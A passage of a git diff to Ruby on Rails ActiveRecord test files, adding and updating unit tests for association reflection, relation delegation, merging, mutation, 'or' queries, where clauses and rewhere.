+    reflection = ActiveRecord::Reflection.create(:has_many, :categories, nil, {}, product)
     reflection.stubs(:klass).returns(category)
     assert_equal 'catalog_categories_products', reflection.join_table
 
-    reflection = AssociationReflection.new(:has_and_belongs_to_many, :products, nil, {}, category)
+    reflection = ActiveRecord::Reflection.create(:has_many, :products, nil, {}, category)
     reflection.stubs(:klass).returns(product)
     assert_equal 'catalog_categories_products', reflection.join_table
   end
@@ -355,11 +401,11 @@ class ReflectionTest < ActiveRecord::TestCase
     category = Struct.new(:table_name, :pluralize_table_names).new('catalog_categories', true)
     page = Struct.new(:table_name, :pluralize_table_names).new('content_pages', true)
 
-    reflection = AssociationReflection.new(:has_and_belongs_to_many, :categories, nil, {}, page)
+    reflection = ActiveRecord::Reflection.create(:has_many, :categories, nil, {}, page)
     reflection.stubs(:klass).returns(category)
     assert_equal 'catalog_categories_content_pages', reflection.join_table
 
-    reflection = AssociationReflection.new(:has_and_belongs_to_many, :pages, nil, {}, category)
+    reflection = ActiveRecord::Reflection.create(:has_many, :pages, nil, {}, category)
     reflection.stubs(:klass).returns(page)
     assert_equal 'catalog_categories_content_pages', reflection.join_table
   end
@@ -368,15 +414,47 @@ class ReflectionTest < ActiveRecord::TestCase
     category = Struct.new(:table_name, :pluralize_table_names).new('categories', true)
     product = Struct.new(:table_name, :pluralize_table_names).new('products', true)
 
-    reflection = AssociationReflection.new(:has_and_belongs_to_many, :categories, nil, { :join_table => 'product_categories' }, product)
+    reflection = ActiveRecord::Reflection.create(:has_many, :categories, nil, { :join_table => 'product_categories' }, product)
     reflection.stubs(:klass).returns(category)
     assert_equal 'product_categories', reflection.join_table
 
-    reflection = AssociationReflection.new(:has_and_belongs_to_many, :products, nil, { :join_table => 'product_categories' }, category)
+    reflection = ActiveRecord::Reflection.create(:has_many, :products, nil, { :join_table => 'product_categories' }, category)
     reflection.stubs(:klass).returns(product)
     assert_equal 'product_categories', reflection.join_table
   end
 
+  def test_includes_accepts_symbols
+    hotel = Hotel.create!
+    department = hotel.departments.create!
+    department.chefs.create!
+
+    assert_nothing_raised do
+      assert_equal department.chefs, Hotel.includes([departments: :chefs]).first.chefs
+    end
+  end
+
+  def test_includes_accepts_strings
+    hotel = Hotel.create!
+    department = hotel.departments.create!
+    department.chefs.create!
+
+    assert_nothing_raised do
+      assert_equal department.chefs, Hotel.includes(['departments' => 'chefs']).first.chefs
+    end
+  end
+
+  def test_reflect_on_association_accepts_symbols
+    assert_nothing_raised do
+      assert_equal Hotel.reflect_on_association(:departments).name, :departments
+    end
+  end
+
+  def test_reflect_on_association_accepts_strings
+    assert_nothing_raised do
+      assert_equal Hotel.reflect_on_association("departments").name, :departments
+    end
+  end
+
   private
     def assert_reflection(klass, association, options)
       assert reflection = klass.reflect_on_association(association)
diff --git a/activerecord/test/cases/relation/delegation_test.rb b/activerecord/test/cases/relation/delegation_test.rb
new file mode 100644
index 0000000000..29c9d0e2af
--- /dev/null
+++ b/activerecord/test/cases/relation/delegation_test.rb
@@ -0,0 +1,68 @@
+require 'cases/helper'
+require 'models/post'
+require 'models/comment'
+
+module ActiveRecord
+  class DelegationTest < ActiveRecord::TestCase
+    fixtures :posts
+
+    def call_method(target, method)
+      method_arity = target.to_a.method(method).arity
+
+      if method_arity.zero?
+        target.public_send(method)
+      elsif method_arity < 0
+        if method == :shuffle!
+          target.public_send(method)
+        else
+          target.public_send(method, 1)
+        end
+       elsif method_arity == 1
+        target.public_send(method, 1)
+      else
+        raise NotImplementedError
+      end
+    end
+  end
+
+  module DelegationWhitelistBlacklistTests
+    ARRAY_DELEGATES = [
+      :+, :-, :|, :&, :[],
+      :all?, :collect, :detect, :each, :each_cons, :each_with_index,
+      :exclude?, :find_all, :flat_map, :group_by, :include?, :length,
+      :map, :none?, :one?, :partition, :reject, :reverse,
+      :sample, :second, :sort, :sort_by, :third,
+      :to_ary, :to_set, :to_xml, :to_yaml, :join
+    ]
+
+    ARRAY_DELEGATES.each do |method|
+      define_method "test_delegates_#{method}_to_Array" do
+        assert_respond_to target, method
+      end
+    end
+
+    ActiveRecord::Delegation::BLACKLISTED_ARRAY_METHODS.each do |method|
+      define_method "test_#{method}_is_not_delegated_to_Array" do
+        assert_raises(NoMethodError) { call_method(target, method) }
+      end
+    end
+  end
+
+  class DelegationAssociationTest < DelegationTest
+    include DelegationWhitelistBlacklistTests
+
+    def target
+      Post.first.comments
+    end
+  end
+
+  class DelegationRelationTest < DelegationTest
+    include DelegationWhitelistBlacklistTests
+
+    fixtures :comments
+
+    def target
+      Comment.all
+    end
+  end
+end
diff --git a/activerecord/test/cases/relation/merging_test.rb b/activerecord/test/cases/relation/merging_test.rb
new file mode 100644
index 0000000000..0a2e874e4f
--- /dev/null
+++ b/activerecord/test/cases/relation/merging_test.rb
@@ -0,0 +1,150 @@
+require 'cases/helper'
+require 'models/author'
+require 'models/comment'
+require 'models/developer'
+require 'models/computer'
+require 'models/post'
+require 'models/project'
+require 'models/rating'
+
+class RelationMergingTest < ActiveRecord::TestCase
+  fixtures :developers, :comments, :authors, :posts
+
+  def test_relation_merging
+    devs = Developer.where("salary >= 80000").merge(Developer.limit(2)).merge(Developer.order('id ASC').where("id < 3"))
+    assert_equal [developers(:david), developers(:jamis)], devs.to_a
+
+    dev_with_count = Developer.limit(1).merge(Developer.order('id DESC')).merge(Developer.select('developers.*'))
+    assert_equal [developers(:poor_jamis)], dev_with_count.to_a
+  end
+
+  def test_relation_to_sql
+    post = Post.first
+    sql = post.comments.to_sql
+    assert_match(/.?post_id.? = #{post.id}\Z/i, sql)
+  end
+
+  def test_relation_merging_with_arel_equalities_keeps_last_equality
+    devs = Developer.where(Developer.arel_table[:salary].eq(80000)).merge(
+      Developer.where(Developer.arel_table[:salary].eq(9000))
+    )
+    assert_equal [developers(:poor_jamis)], devs.to_a
+  end
+
+  def test_relation_merging_with_arel_equalities_keeps_last_equality_with_non_attribute_left_hand
+    salary_attr = Developer.arel_table[:salary]
+    devs = Developer.where(
+      Arel::Nodes::NamedFunction.new('abs', [salary_attr]).eq(80000)
+    ).merge(
+      Developer.where(
+        Arel::Nodes::NamedFunction.new('abs', [salary_attr]).eq(9000)
+      )
+    )
+    assert_equal [developers(:poor_jamis)], devs.to_a
+  end
+
+  def test_relation_merging_with_eager_load
+    relations = []
+    relations << Post.order('comments.id DESC').merge(Post.eager_load(:last_comment)).merge(Post.all)
+    relations << Post.eager_load(:last_comment).merge(Post.order('comments.id DESC')).merge(Post.all)
+
+    relations.each do |posts|
+      post = posts.find { |p| p.id == 1 }
+      assert_equal Post.find(1).last_comment, post.last_comment
+    end
+  end
+
+  def test_relation_merging_with_locks
+    devs = Developer.lock.where("salary >= 80000").order("id DESC").merge(Developer.limit(2))
+    assert devs.locked.present?
+  end
+
+  def test_relation_merging_with_preload
+    [Post.all.merge(Post.preload(:author)), Post.preload(:author).merge(Post.all)].each do |posts|
+      assert_queries(2) { assert posts.first.author }
+    end
+  end
+
+  def test_relation_merging_with_joins
+    comments = Comment.joins(:post).where(:body => 'Thank you for the welcome').merge(Post.where(:body => 'Such a lovely day'))
+    assert_equal 1, comments.count
+  end
+
+  def test_relation_merging_with_association
+    assert_queries(2) do  # one for loading post, and another one merged query
+      post = Post.where(:body => 'Such a lovely day').first
+      comments = Comment.where(:body => 'Thank you for the welcome').merge(post.comments)
+      assert_equal 1, comments.count
+    end
+  end
+
+  test "merge collapses wheres from the LHS only" do
+    left  = Post.where(title: "omg").where(comments_count: 1)
+    right = Post.where(title: "wtf").where(title: "bbq")
+
+    expected = [left.bound_attributes[1]] + right.bound_attributes
+    merged   = left.merge(right)
+
+    assert_equal expected, merged.bound_attributes
+    assert !merged.to_sql.include?("omg")
+    assert merged.to_sql.include?("wtf")
+    assert merged.to_sql.include?("bbq")
+  end
+
+  def test_merging_reorders_bind_params
+    post  = Post.first
+    right = Post.where(id: 1)
+    left  = Post.where(title: post.title)
+
+    merged = left.merge(right)
+    assert_equal post, merged.first
+  end
+
+  def test_merging_compares_symbols_and_strings_as_equal
+    post = PostThatLoadsCommentsInAnAfterSaveHook.create!(title: "First Post", body: "Blah blah blah.")
+    assert_equal "First comment!", post.comments.where(body: "First comment!").first_or_create.body
+  end
+end
+
+class MergingDifferentRelationsTest < ActiveRecord::TestCase
+  fixtures :posts, :authors, :developers
+
+  test "merging where relations" do
+    hello_by_bob = Post.where(body: "hello").joins(:author).
+      merge(Author.where(name: "Bob")).order("posts.id").pluck("posts.id")
+
+    assert_equal [posts(:misc_by_bob).id,
+                  posts(:other_by_bob).id], hello_by_bob
+  end
+
+  test "merging order relations" do
+    posts_by_author_name = Post.limit(3).joins(:author).
+      merge(Author.order(:name)).pluck("authors.name")
+
+    assert_equal ["Bob", "Bob", "David"], posts_by_author_name
+
+    posts_by_author_name = Post.limit(3).joins(:author).
+      merge(Author.order("name")).pluck("authors.name")
+
+    assert_equal ["Bob", "Bob", "David"], posts_by_author_name
+  end
+
+  test "merging order relations (using a hash argument)" do
+    posts_by_author_name = Post.limit(4).joins(:author).
+      merge(Author.order(name: :desc)).pluck("authors.name")
+
+    assert_equal ["Mary", "Mary", "Mary", "David"], posts_by_author_name
+  end
+
+  test "relation merging (using a proc  argument)" do
+    dev = Developer.where(name: "Jamis").first
+
+    comment_1 = dev.comments.create!(body: "I'm Jamis", post: Post.first)
+    rating_1 = comment_1.ratings.create!
+
+    comment_2 = dev.comments.create!(body: "I'm John", post: Post.first)
+    comment_2.ratings.create!
+
+    assert_equal dev.ratings, [rating_1]
+  end
+end
diff --git a/activerecord/test/cases/relation/mutation_test.rb b/activerecord/test/cases/relation/mutation_test.rb
new file mode 100644
index 0000000000..45ead08bd5
--- /dev/null
+++ b/activerecord/test/cases/relation/mutation_test.rb
@@ -0,0 +1,165 @@
+require 'cases/helper'
+require 'models/post'
+
+module ActiveRecord
+  class RelationMutationTest < ActiveSupport::TestCase
+    class FakeKlass < Struct.new(:table_name, :name)
+      extend ActiveRecord::Delegation::DelegateCache
+      inherited self
+
+      def connection
+        Post.connection
+      end
+
+      def relation_delegate_class(klass)
+        self.class.relation_delegate_class(klass)
+      end
+
+      def attribute_alias?(name)
+        false
+      end
+
+      def sanitize_sql(sql)
+        sql
+      end
+    end
+
+    def relation
+      @relation ||= Relation.new FakeKlass.new('posts'), Post.arel_table, Post.predicate_builder
+    end
+
+    (Relation::MULTI_VALUE_METHODS - [:references, :extending, :order, :unscope, :select]).each do |method|
+      test "##{method}!" do
+        assert relation.public_send("#{method}!", :foo).equal?(relation)
+        assert_equal [:foo], relation.public_send("#{method}_values")
+      end
+    end
+
+    test "#_select!" do
+      assert relation.public_send("_select!", :foo).equal?(relation)
+      assert_equal [:foo], relation.public_send("select_values")
+    end
+
+    test '#order!' do
+      assert relation.order!('name ASC').equal?(relation)
+      assert_equal ['name ASC'], relation.order_values
+    end
+
+    test '#order! with symbol prepends the table name' do
+      assert relation.order!(:name).equal?(relation)
+      node = relation.order_values.first
+      assert node.ascending?
+      assert_equal :name, node.expr.name
+      assert_equal "posts", node.expr.relation.name
+    end
+
+    test '#order! on non-string does not attempt regexp match for references' do
+      obj = Object.new
+      obj.expects(:=~).never
+      assert relation.order!(obj)
+      assert_equal [obj], relation.order_values
+    end
+
+    test '#references!' do
+      assert relation.references!(:foo).equal?(relation)
+      assert relation.references_values.include?('foo')
+    end
+
+    test 'extending!' do
+      mod, mod2 = Module.new, Module.new
+
+      assert relation.extending!(mod).equal?(relation)
+      assert_equal [mod], relation.extending_values
+      assert relation.is_a?(mod)
+
+      relation.extending!(mod2)
+      assert_equal [mod, mod2], relation.extending_values
+    end
+
+    test 'extending! with empty args' do
+      relation.extending!
+      assert_equal [], relation.extending_values
+    end
+
+    (Relation::SINGLE_VALUE_METHODS - [:lock, :reordering, :reverse_order, :create_with]).each do |method|
+      test "##{method}!" do
+        assert relation.public_send("#{method}!", :foo).equal?(relation)
+        assert_equal :foo, relation.public_send("#{method}_value")
+      end
+    end
+
+    test '#from!' do
+      assert relation.from!('foo').equal?(relation)
+      assert_equal 'foo', relation.from_clause.value
+    end
+
+    test '#lock!' do
+      assert relation.lock!('foo').equal?(relation)
+      assert_equal 'foo', relation.lock_value
+    end
+
+    test '#reorder!' do
+      @relation = self.relation.order('foo')
+
+      assert relation.reorder!('bar').equal?(relation)
+      assert_equal ['bar'], relation.order_values
+      assert relation.reordering_value
+    end
+
+    test '#reorder! with symbol prepends the table name' do
+      assert relation.reorder!(:name).equal?(relation)
+      node = relation.order_values.first
+
+      assert node.ascending?
+      assert_equal :name, node.expr.name
+      assert_equal "posts", node.expr.relation.name
+    end
+
+    test 'reverse_order!' do
+      @relation = Post.order('title ASC, comments_count DESC')
+
+      relation.reverse_order!
+
+      assert_equal 'title DESC', relation.order_values.first
+      assert_equal 'comments_count ASC', relation.order_values.last
+
+
+      relation.reverse_order!
+
+      assert_equal 'title ASC', relation.order_values.first
+      assert_equal 'comments_count DESC', relation.order_values.last
+    end
+
+    test 'create_with!' do
+      assert relation.create_with!(foo: 'bar').equal?(relation)
+      assert_equal({foo: 'bar'}, relation.create_with_value)
+    end
+
+    test 'test_merge!' do
+      assert relation.merge!(select: :foo).equal?(relation)
+      assert_equal [:foo], relation.select_values
+    end
+
+    test 'merge with a proc' do
+      assert_equal [:foo], relation.merge(-> { select(:foo) }).select_values
+    end
+
+    test 'none!' do
+      assert relation.none!.equal?(relation)
+      assert_equal [NullRelation], relation.extending_values
+      assert relation.is_a?(NullRelation)
+    end
+
+    test 'distinct!' do
+      relation.distinct! :foo
+      assert_equal :foo, relation.distinct_value
+      assert_equal :foo, relation.uniq_value # deprecated access
+    end
+
+    test 'uniq! was replaced by distinct!' do
+      relation.uniq! :foo
+      assert_equal :foo, relation.distinct_value
+      assert_equal :foo, relation.uniq_value # deprecated access
+    end
+  end
+end
diff --git a/activerecord/test/cases/relation/or_test.rb b/activerecord/test/cases/relation/or_test.rb
new file mode 100644
index 0000000000..2006fc9611
--- /dev/null
+++ b/activerecord/test/cases/relation/or_test.rb
@@ -0,0 +1,84 @@
+require "cases/helper"
+require 'models/post'
+
+module ActiveRecord
+  class OrTest < ActiveRecord::TestCase
+    fixtures :posts
+
+    def test_or_with_relation
+      expected = Post.where('id = 1 or id = 2').to_a
+      assert_equal expected, Post.where('id = 1').or(Post.where('id = 2')).to_a
+    end
+
+    def test_or_identity
+      expected = Post.where('id = 1').to_a
+      assert_equal expected, Post.where('id = 1').or(Post.where('id = 1')).to_a
+    end
+
+    def test_or_with_null_left
+      expected = Post.where('id = 1').to_a
+      assert_equal expected, Post.none.or(Post.where('id = 1')).to_a
+    end
+
+    def test_or_with_null_right
+      expected = Post.where('id = 1').to_a
+      assert_equal expected, Post.where('id = 1').or(Post.none).to_a
+    end
+
+    def test_or_with_bind_params
+      assert_equal Post.find([1, 2]), Post.where(id: 1).or(Post.where(id: 2)).to_a
+    end
+
+    def test_or_with_null_both
+      expected = Post.none.to_a
+      assert_equal expected, Post.none.or(Post.none).to_a
+    end
+
+    def test_or_without_left_where
+      expected = Post.all
+      assert_equal expected, Post.or(Post.where('id = 1')).to_a
+    end
+
+    def test_or_without_right_where
+      expected = Post.all
+      assert_equal expected, Post.where('id = 1').or(Post.all).to_a
+    end
+
+    def test_or_preserves_other_querying_methods
+      expected = Post.where('id = 1 or id = 2 or id = 3').order('body asc').to_a
+      partial = Post.order('body asc')
+      assert_equal expected, partial.where('id = 1').or(partial.where(:id => [2, 3])).to_a
+      assert_equal expected, Post.order('body asc').where('id = 1').or(Post.order('body asc').where(:id => [2, 3])).to_a
+    end
+
+    def test_or_with_incompatible_relations
+      assert_raises ArgumentError do
+        Post.order('body asc').where('id = 1').or(Post.order('id desc').where(:id => [2, 3])).to_a
+      end
+    end
+
+    def test_or_when_grouping
+      groups = Post.where('id < 10').group('body').select('body, COUNT(*) AS c')
+      expected = groups.having("COUNT(*) > 1 OR body like 'Such%'").to_a.map {|o| [o.body, o.c] }
+      assert_equal expected, groups.having('COUNT(*) > 1').or(groups.having("body like 'Such%'")).to_a.map {|o| [o.body, o.c] }
+    end
+
+    def test_or_with_named_scope
+      expected = Post.where("id = 1 or body LIKE '\%a\%'").to_a
+      assert_equal expected, Post.where('id = 1').or(Post.containing_the_letter_a)
+    end
+
+    def test_or_inside_named_scope
+      expected = Post.where("body LIKE '\%a\%' OR title LIKE ?", "%'%").order('id DESC').to_a
+      assert_equal expected, Post.order(id: :desc).typographically_interesting
+    end
+
+    def test_or_on_loaded_relation
+      expected = Post.where('id = 1 or id = 2').to_a
+      p = Post.where('id = 1')
+      p.load
+      assert_equal p.loaded?, true
+      assert_equal expected, p.or(Post.where('id = 2')).to_a
+    end
+  end
+end
diff --git a/activerecord/test/cases/relation/predicate_builder_test.rb b/activerecord/test/cases/relation/predicate_builder_test.rb
index 14a8d97d36..8f62014622 100644
--- a/activerecord/test/cases/relation/predicate_builder_test.rb
+++ b/activerecord/test/cases/relation/predicate_builder_test.rb
@@ -4,11 +4,13 @@ require 'models/topic'
 module ActiveRecord
   class PredicateBuilderTest < ActiveRecord::TestCase
     def test_registering_new_handlers
-      PredicateBuilder.register_handler(Regexp, proc do |column, value|
-        Arel::Nodes::InfixOperation.new('~', column, value.source)
+      Topic.predicate_builder.register_handler(Regexp, proc do |column, value|
+        Arel::Nodes::InfixOperation.new('~', column, Arel.sql(value.source))
       end)
 
-      assert_match %r{["`]topics["`].["`]title["`] ~ 'rails'}i, Topic.where(title: /rails/).to_sql
+      assert_match %r{["`]topics["`]\.["`]title["`] ~ rails}i, Topic.where(title: /rails/).to_sql
+    ensure
+      Topic.reset_column_information
     end
   end
 end
diff --git a/activerecord/test/cases/relation/where_chain_test.rb b/activerecord/test/cases/relation/where_chain_test.rb
index 92d1e013e8..27bbd80f79 100644
--- a/activerecord/test/cases/relation/where_chain_test.rb
+++ b/activerecord/test/cases/relation/where_chain_test.rb
@@ -11,70 +11,95 @@ module ActiveRecord
       @name = 'title'
     end
 
-    def test_not_eq
-      expected = Arel::Nodes::NotEqual.new(Post.arel_table[@name], 'hello')
+    def test_not_inverts_where_clause
       relation = Post.where.not(title: 'hello')
-      assert_equal([expected], relation.where_values)
-    end
+      expected_where_clause = Post.where(title: 'hello').where_clause.invert
 
-    def test_not_null
-      expected = Arel::Nodes::NotEqual.new(Post.arel_table[@name], nil)
-      relation = Post.where.not(title: nil)
-      assert_equal([expected], relation.where_values)
+      assert_equal expected_where_clause, relation.where_clause
     end
 
-    def test_not_in
-      expected = Arel::Nodes::NotIn.new(Post.arel_table[@name], %w[hello goodbye])
-      relation = Post.where.not(title: %w[hello goodbye])
-      assert_equal([expected], relation.where_values)
+    def test_not_with_nil
+      assert_raise ArgumentError do
+        Post.where.not(nil)
+      end
     end
 
     def test_association_not_eq
-      expected = Arel::Nodes::NotEqual.new(Comment.arel_table[@name], 'hello')
+      expected = Arel::Nodes::Grouping.new(Comment.arel_table[@name].not_eq(Arel::Nodes::BindParam.new))
       relation = Post.joins(:comments).where.not(comments: {title: 'hello'})
-      assert_equal(expected.to_sql, relation.where_values.first.to_sql)
+      assert_equal(expected.to_sql, relation.where_clause.ast.to_sql)
     end
 
     def test_not_eq_with_preceding_where
       relation = Post.where(title: 'hello').where.not(title: 'world')
+      expected_where_clause =
+        Post.where(title: 'hello').where_clause +
+        Post.where(title: 'world').where_clause.invert
 
-      expected = Arel::Nodes::Equality.new(Post.arel_table[@name], 'hello')
-      assert_equal(expected, relation.where_values.first)
-
-      expected = Arel::Nodes::NotEqual.new(Post.arel_table[@name], 'world')
-      assert_equal(expected, relation.where_values.last)
+      assert_equal expected_where_clause, relation.where_clause
     end
 
     def test_not_eq_with_succeeding_where
       relation = Post.where.not(title: 'hello').where(title: 'world')
+      expected_where_clause =
+        Post.where(title: 'hello').where_clause.invert +
+        Post.where(title: 'world').where_clause
+
+      assert_equal expected_where_clause, relation.where_clause
+    end
 
-      expected = Arel::Nodes::NotEqual.new(Post.arel_table[@name], 'hello')
-      assert_equal(expected, relation.where_values.first)
+    def test_chaining_multiple
+      relation = Post.where.not(author_id: [1, 2]).where.not(title: 'ruby on rails')
+      expected_where_clause =
+        Post.where(author_id: [1, 2]).where_clause.invert +
+        Post.where(title: 'ruby on rails').where_clause.invert
 
-      expected = Arel::Nodes::Equality.new(Post.arel_table[@name], 'world')
-      assert_equal(expected, relation.where_values.last)
+      assert_equal expected_where_clause, relation.where_clause
     end
 
-    def test_not_eq_with_string_parameter
-      expected = Arel::Nodes::Not.new("title = 'hello'")
-      relation = Post.where.not("title = 'hello'")
-      assert_equal([expected], relation.where_values)
+    def test_rewhere_with_one_condition
+      relation = Post.where(title: 'hello').where(title: 'world').rewhere(title: 'alone')
+      expected = Post.where(title: 'alone')
+
+      assert_equal expected.where_clause, relation.where_clause
     end
 
-    def test_not_eq_with_array_parameter
-      expected = Arel::Nodes::Not.new("title = 'hello'")
-      relation = Post.where.not(['title = ?', 'hello'])
-      assert_equal([expected], relation.where_values)
+    def test_rewhere_with_multiple_overwriting_conditions
+      relation = Post.where(title: 'hello').where(body: 'world').rewhere(title: 'alone', body: 'again')
+      expected = Post.where(title: 'alone', body: 'again')
+
+      assert_equal expected.where_clause, relation.where_clause
     end
 
-    def test_chaining_multiple
-      relation = Post.where.not(author_id: [1, 2]).where.not(title: 'ruby on rails')
+    def test_rewhere_with_one_overwriting_condition_and_one_unrelated
+      relation = Post.where(title: 'hello').where(body: 'world').rewhere(title: 'alone')
+      expected = Post.where(body: 'world', title: 'alone')
+
+      assert_equal expected.where_clause, relation.where_clause
+    end
+
+    def test_rewhere_with_range
+      relation = Post.where(comments_count: 1..3).rewhere(comments_count: 3..5)
+
+      assert_equal Post.where(comments_count: 3..5), relation
+    end
+
+    def test_rewhere_with_infinite_upper_bound_range
+      relation = Post.where(comments_count: 1..Float::INFINITY).rewhere(comments_count: 3..5)
+
+      assert_equal Post.where(comments_count: 3..5), relation
+    end
+
+    def test_rewhere_with_infinite_lower_bound_range
+      relation = Post.where(comments_count: -Float::INFINITY..1).rewhere(comments_count: 3..5)
+
+      assert_equal Post.where(comments_count: 3..5), relation
+    end
 
-      expected = Arel::Nodes::NotIn.new(Post.arel_table['author_id'], [1, 2])
-      assert_equal(expected, relation.where_values[0])
+    def test_rewhere_with_infinite_range
+      relation = Post.where(comments_count: -Float::INFINITY..Float::INFINITY).rewhere(comments_count: 3..5)
 
-      expected = Arel::Nodes::NotEqual.new(Post.arel_table[@name], 'ruby on rails')
-      assert_equal(expected, relation.where_values[1])
+      assert_equal Post.where(comments_count: 3..5), relation
     end
   end
 end
diff --git a/activerecord/test/cases/relation/where_clause_test.rb b/activerecord/test/cases/relation/where_clause_test.rb
new file mode 100644
index 0000000000..c20ed94d90
--- /dev/null
+++ b/activerecord/test/cases/relation/where_clause_test.rb
@@ -0,0 +1,182 @@
+require "cases/helper"
+
+class ActiveRecord::Relation
+  class WhereClauseTest < ActiveRecord::TestCase
+    test "+ combines two where clauses" do
+      first_clause = WhereClause.new([table["id"].eq(bind_param)], [["id", 1]])
+      second_clause = WhereClause.new([table["name"].eq(bind_param)], [["name", "Sean"]])
+      combined = WhereClause.new(
+        [table["id"].eq(bind_param), table["name"].eq(bind_param)],
+        [["id", 1], ["name", "Sean"]],
+      )
+
+      assert_equal combined, first_clause + second_clause
+    end
+
+    test "+ is associative, but not commutative" do
+      a = WhereClause.new(["a"], ["bind a"])
+      b = WhereClause.new(["b"], ["bind b"])
+      c = WhereClause.new(["c"], ["bind c"])
+
+      assert_equal a + (b + c), (a + b) + c
+      assert_not_equal a + b, b + a
+    end
+
+    test "an empty where clause is the identity value for +" do
+      clause = WhereClause.new([table["id"].eq(bind_param)], [["id", 1]])
+
+      assert_equal clause, clause + WhereClause.empty
+    end
+
+    test "merge combines two where clauses" do
+      a = WhereClause.new([table["id"].eq(1)], [])
+      b = WhereClause.new([table["name"].eq("Sean")], [])
+      expected = WhereClause.new([table["id"].eq(1), table["name"].eq("Sean")], [])
+
+      assert_equal expected, a.merge(b)
+    end
+
+    test "merge keeps the right side, when two equality clauses reference the same column" do
+      a = WhereClause.new([table["id"].eq(1), table["name"].eq("Sean")], [])
+      b = WhereClause.new([table["name"].eq("Jim")], [])
+      expected = WhereClause.new([table["id"].eq(1), table["name"].eq("Jim")], [])
+
+      assert_equal expected, a.merge(b)
+    end
+
+    test "merge removes bind parameters matching overlapping equality clauses" do
+      a = WhereClause.new(
+        [table["id"].eq(bind_param), table["name"].eq(bind_param)],
+        [attribute("id", 1), attribute("name", "Sean")],
+      )
+      b = WhereClause.new(
+        [table["name"].eq(bind_param)],
+        [attribute("name", "Jim")]
+      )
+      expected = WhereClause.new(
+        [table["id"].eq(bind_param), table["name"].eq(bind_param)],
+        [attribute("id", 1), attribute("name", "Jim")],
+      )
+
+      assert_equal expected, a.merge(b)
+    end
+
+    test "merge allows for columns with the same name from different tables" do
+      skip "This is not possible as of 4.2, and the binds do not yet contain sufficient information for this to happen"
+      # We might be able to change the implementation to remove conflicts by index, rather than column name
+    end
+
+    test "a clause knows if it is empty" do
+      assert WhereClause.empty.empty?
+      assert_not WhereClause.new(["anything"], []).empty?
+    end
+
+    test "invert cannot handle nil" do
+      where_clause = WhereClause.new([nil], [])
+
+      assert_raises ArgumentError do
+        where_clause.invert
+      end
+    end
+
+    test "invert replaces each part of the predicate with its inverse" do
+      random_object = Object.new
+      original = WhereClause.new([
+        table["id"].in([1, 2, 3]),
+        table["id"].eq(1),
+        "sql literal",
+        random_object
+      ], [])
+      expected = WhereClause.new([
+        table["id"].not_in([1, 2, 3]),
+        table["id"].not_eq(1),
+        Arel::Nodes::Not.new(Arel::Nodes::SqlLiteral.new("sql literal")),
+        Arel::Nodes::Not.new(random_object)
+      ], [])
+
+      assert_equal expected, original.invert
+    end
+
+    test "accept removes binary predicates referencing a given column" do
+      where_clause = WhereClause.new([
+        table["id"].in([1, 2, 3]),
+        table["name"].eq(bind_param),
+        table["age"].gteq(bind_param),
+      ], [
+        attribute("name", "Sean"),
+        attribute("age", 30),
+      ])
+      expected = WhereClause.new([table["age"].gteq(bind_param)], [attribute("age", 30)])
+
+      assert_equal expected, where_clause.except("id", "name")
+    end
+
+    test "ast groups its predicates with AND" do
+      predicates = [
+        table["id"].in([1, 2, 3]),
+        table["name"].eq(bind_param),
+      ]
+      where_clause = WhereClause.new(predicates, [])
+      expected = Arel::Nodes::And.new(predicates)
+
+      assert_equal expected, where_clause.ast
+    end
+
+    test "ast wraps any SQL literals in parenthesis" do
+      random_object = Object.new
+      where_clause = WhereClause.new([
+        table["id"].in([1, 2, 3]),
+        "foo = bar",
+        random_object,
+      ], [])
+      expected = Arel::Nodes::And.new([
+        table["id"].in([1, 2, 3]),
+        Arel::Nodes::Grouping.new(Arel.sql("foo = bar")),
+        Arel::Nodes::Grouping.new(random_object),
+      ])
+
+      assert_equal expected, where_clause.ast
+    end
+
+    test "ast removes any empty strings" do
+      where_clause = WhereClause.new([table["id"].in([1, 2, 3])], [])
+      where_clause_with_empty = WhereClause.new([table["id"].in([1, 2, 3]), ''], [])
+
+      assert_equal where_clause.ast, where_clause_with_empty.ast
+    end
+
+    test "or joins the two clauses using OR" do
+      where_clause = WhereClause.new([table["id"].eq(bind_param)], [attribute("id", 1)])
+      other_clause = WhereClause.new([table["name"].eq(bind_param)], [attribute("name", "Sean")])
+      expected_ast =
+        Arel::Nodes::Grouping.new(
+          Arel::Nodes::Or.new(table["id"].eq(bind_param), table["name"].eq(bind_param))
+        )
+      expected_binds = where_clause.binds + other_clause.binds
+
+      assert_equal expected_ast.to_sql, where_clause.or(other_clause).ast.to_sql
+      assert_equal expected_binds, where_clause.or(other_clause).binds
+    end
+
+    test "or returns an empty where clause when either side is empty" do
+      where_clause = WhereClause.new([table["id"].eq(bind_param)], [attribute("id", 1)])
+
+      assert_equal WhereClause.empty, where_clause.or(WhereClause.empty)
+      assert_equal WhereClause.empty, WhereClause.empty.or(where_clause)
+    end
+
+    private
+
+    def table
+      Arel::Table.new("table")
+    end
+
+    def bind_param
+      Arel::Nodes::BindParam.new
+    end
+
+    def attribute(name, value)
+      ActiveRecord::Attribute.with_cast_value(name, value, ActiveRecord::Type::Value.new)
+    end
+  end
+end
diff --git a/activerecord/test/cases/relation/where_test.rb b/activerecord/test/cases/relation/where_test.rb
index 3e460fa3d6..6af31017d6 100644
--- a/activerecord/test/cases/relation/where_test.rb
+++ b/activerecord/test/cases/relation/where_test.rb
@@ -1,15 +1,20 @@
 require "cases/helper"
-require 'models/author'
-require 'models/price_estimate'
-require 'models/treasure'
-require 'models/post'
-require 'models/comment'
-require 'models/edge'
-require 'models/topic'
+require "models/author"
+require "models/binary"
+require "models/cake_designer"
+require "models/chef"
+require "models/comment"
+require "models/edge"
+require "models/essay"
+require "models/post"
+require "models/price_estimate"
+require "models/topic"
+require "models/treasure"
+require "models/vertex"
 
 module ActiveRecord
   class WhereTest < ActiveRecord::TestCase
-    fixtures :posts, :edges, :authors
+    fixtures :posts, :edges, :authors, :binaries, :essays
 
     def test_where_copies_bind_params
       author = authors(:david)
@@ -24,6 +29,28 @@ module ActiveRecord
       }
     end
 
+    def test_where_copies_bind_params_in_the_right_order
+      author = authors(:david)
+      posts = author.posts.where.not(id: 1)
+      joined = Post.where(id: posts, title: posts.first.title)
+
+      assert_equal joined, [posts.first]
+    end
+
+    def test_where_copies_arel_bind_params
+      chef = Chef.create!
+      CakeDesigner.create!(chef: chef)
+
+      cake_designers = CakeDesigner.joins(:chef).where(chefs: { id: chef.id })
+      chefs = Chef.where(employable: cake_designers)
+
+      assert_equal [chef], chefs.to_a
+    end
+
+    def test_rewhere_on_root
+      assert_equal posts(:welcome), Post.rewhere(title: 'Welcome to the weblog').first
+    end
